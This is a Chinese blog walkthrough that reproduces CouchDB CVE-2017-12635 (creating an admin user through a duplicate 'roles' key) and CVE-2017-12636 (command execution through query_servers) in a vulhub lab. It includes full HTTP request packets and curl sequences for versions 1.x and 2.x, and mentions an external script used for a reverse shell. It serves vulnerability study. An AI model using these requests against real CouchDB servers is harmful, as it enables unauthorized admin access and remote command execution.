Couchdb垂直权限绕过到命令执行
0x00couchdb简介
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛。
0x01两个漏洞的关系及原理
CVE-2017-12635垂直越权:
CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
CVE-2017-12635问题在于Erlang和JavaScript对JSON中重复的键处理方式具有差异性。
例如:{"foo":"bar", "foo":"baz"}
Erlang处理:
>jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}").
{[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}
JavaScript处理:
>JSON.parse("{\"foo\":\"bar\", \"foo\": \"baz\"}")
{foo: "baz"}
对于给定的键,Eralang解析器将存储两个值,而JavaScript只存储第二个值。但是在jiffy实现的时候,getter函数只返回第一个值
除了输入验证脚本之外,几乎所有关于身份验证和授权的重要逻辑都发生在CouchDB的Erlang部分,所以在原本的数据包中身份验证后再加上 "roles": [], 所发包内容变成如下所示时,就可以使当前用户赋予“_admin”身份。
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
CVE-2017-12636命令执行:
CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
该漏洞在于CouchDB自身的设计问题,CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理。
默认情况下,配置文件中已经设置了两个query_servers:
[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
CouchDB在 query_server 中引入了外部的二进制程序来执行命令,如果可以更改这个配置,那么就可以利用数据库来执行命令,而CouchDB允许通过自身提供的 Restful API 接口动态修改保存配置属性,结合以上两点,就可以通过修改其 query_server 配置,来执行系统命令。
关系:
任意命令执行漏洞CVE-2017-12636需要登录用户才可触发,所以先要使用CVE-2017-12635垂直越权先增加一个管理员用户。
对于真正要getshell的话就得配合这两个漏洞才行。
0x02影响范围
版本小于1.7.0以及小于2.1.1
0x03环境搭建
利用vulhub一键搭建:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/
得先安装docker环境以及docker-compose还有vulhub。
我这里使用的Couchdb版本是 2.1.0版本的
0x04漏洞复现
先访问couchdb

发现如果要使用couchdb需要登录才能使用,rce漏洞也只能在登录的情况下才能触发。但是现在没有用户没有密码,我们就利用CVE-2017-12635先创建一个管理员用户。
1.创建管理员用户
利用PUT方法构造创建用户的数据包:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.1.160:
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "123456"
}
该请求包的意思是将以管理员角色创建用户名为vulhub,密码为123456的用户。

发包创建失败,因为session记录我们没有admin权限,所以会报错,那么绕过role验证,我们利用漏洞原理中介绍的方法,发送包含两个roles的数据包,来赋予用户 _admin 的权限.
在原有的数据包中我们添加一行 "roles": [], 数据包内容如下:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.1.160:
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "123456"
}

发送PUT请求包之后,从回显包来看创建管理员用户成功,账户为vulhub,密码为123456

发现登录成功
2.payload说明
小于1.7.0版本下的说明:
依次执行如下请求即可触发任意命令执行:
curl -X PUT 'http://vulhub:123456@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:123456@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:123456@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:123456@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
其中,vulhub:123456为管理员账号密码。
第一个请求是添加一个名字为cmd的query_servers,其值为"id >/tmp/success",这就是我们后面待执行的命令。
第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmd的query_servers,最后触发命令执行。
1.7.0<x<=2.1.1版本下的说明:
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。我们带上账号密码访问/_membership即可:
curl http://vulhub:123456@your-ip:5984/_membership
响应包的名字是nonode@nohost,我们就修改nonode@nohost的配置:
curl -X PUT http://vulhub:123456@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:
curl -X PUT 'http://vulhub:123456@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:123456@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
Couchdb 2.x删除了_temp_view,所以我们为了触发query_servers中定义的命令,需要添加一个_view:
curl -X PUT http://vulhub:123456@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
增加_view的同时即触发了query_servers中的命令。
3.任意命令执行
由于此漏洞命令执行将不会显示在客户端响应包中,因此我们利用id >/tmp/success命令来验证,最后看看靶机上的/tmp目录下是否创建的success文件且内容为id执行后的内容。
我们的couchdb是2.1.0版本的,因此,利用第二个的payload,

然后修改nonode@nohost的配置:

增加一个Database和一个Document:

添加view触发query_servers中定义的命令:

查看靶机上的/tmp目录下是否存在success文件,且内容是否为id执行的内容:

发现确实如此,实现了命令执行。
可我们还是需要一个交互式shell来达到真正的getshell。
4.利用exp脚本反弹shell
利用github上公布的exp脚本exp.py ,只需修改其中的target、command、version三个变量即可,version=1代表1.x的版本,version=2代表2.x的版本。

我们先在自己的vps上进行监听,监听端口为设置的7777

运行

反弹shell成功。
Couchdb垂直权限绕过到命令执行的更多相关文章
- Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现
couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...
- CVE-2017-12635(Couchdb垂直权限绕过漏洞)
简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...
- Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
影响版本:小于 1.7.0 以及 小于 2.1.1 首先,发送如下数据包: 修改数据包 { "type": "user", "name": ...
- GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-19475)
影响范围 Ghostscript 9.24之前版本 将POC作为图片上传,执行命令,抓包 POST /index.php HTTP/1.1 Host: target Accept-Encoding: ...
- Discuz! 6.x/7.x 全局变量防御绕过导致命令执行
https://www.secpulse.com/archives/2338.html 模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值, ...
- GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-16509)
影响范围: Ghostscript 9.24之前版本 poc地址 https://github.com/vulhub/vulhub/blob/master/ghostscript/CVE-2018-1 ...
- GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116)
影响范围 Ghostscript 9.24之前版本 poc地址:https://github.com/vulhub/vulhub/blob/master/ghostscript/CVE-2019-61 ...
- 转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)
LNMP虚拟主机PHP沙盒绕过/命令执行 lnmp更新1.2版本,很多东西都升级了,很棒.不过还是发现一个BUG. LNMP是一款linux下nginx.php.mysql一键安装包. 下载:http ...
- Bugku-CTF之login2(SKCTF)(hint:union,命令执行)
Day40 login2(SKCTF) http://123.206.31.85:49165/ SKCTF{xxxxxxxxxxxxxxxxxxxxx} hint:union,命令执行
随机推荐
- iOS--->运行程序屏幕上下有黑边
iOS--->运行程序屏幕上下有黑边 原因是LaunchImage没有设置好,图片等尺寸没有和对应的手机屏幕大小适配导致. 解决方法 就是要增加启动图片,把屏幕拉伸,匹配好每个机型的屏幕大小,这 ...
- devops与CICD
前言 devops的概念已经在前一章已经说过了,下面介绍CICD的概念. CI(Continuous Integration,持续集成) 持续集成中,开发人员将会频繁地向主干提交代码,这些新提交的代码 ...
- Java之路——初识Eclipse
零.大纲 一.前言 二.获取Eclipse 三.运行Eclipse 四.创建及运行第一个Java Project 五.界面介绍 六.如何调试 七.获取插件 八.Eclipse 快捷键 九.总结 一.前 ...
- java基础算法(一):最大子序列和问题的多种算法思路
问题: /** * 给定一个整数数组 nums ,找到一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和,并顺序打印子序列. * 示例: * 输入: [-2,1,-3,4,-1,2,1 ...
- gRPC in ASP.NET Core 3.x -- Protocol Buffer(2)Go语言的例子(下)
第一篇文章(大约半年前写的):https://www.cnblogs.com/cgzl/p/11246324.html gRPC in ASP.NET Core 3.x -- Protocol Buf ...
- python 中的反斜杠匹配的问题
关于反斜杠的匹配问题可以参考: https://www.cnblogs.com/mzc1997/p/7689235.html 文章中提出了两个概念: 字符串转义和正则转义,我觉得是理解反斜杠的关键所在 ...
- Spring Boot自动装配原理源码分析
1.环境准备 使用IDEA Spring Initializr快速创建一个Spring Boot项目 添加一个Controller类 @RestController public class Hell ...
- vs 搭配 Linux 开发
这是一篇翻译,为什么突然想翻译文章了呢,因为很多大佬们都说英语对程序员还是挺重要的,毕竟互联网的最新技术基本都在歪果仁那边,如果英语不好,不会看国外的文档的话,将会错失接触第一手资料的机会,失去很多先 ...
- node基础 day1
js为什么能在浏览器中运行 浏览器内部存在一个js解析器,解析ECMAscript 把引擎从浏览器中抽离出来,不再依赖浏览器,作为一个软件安装在电脑上,在命令行里面, 这个软件就是node node ...
- javascript 防止多次提交或执行(在规定时间段内只允许执行一次) 默认 3000ms
"use strict" class Func{ constructor(){} isRun(id, time){//防止多次提交或执行(在规定时间段内只允许执行一次) 默认 30 ...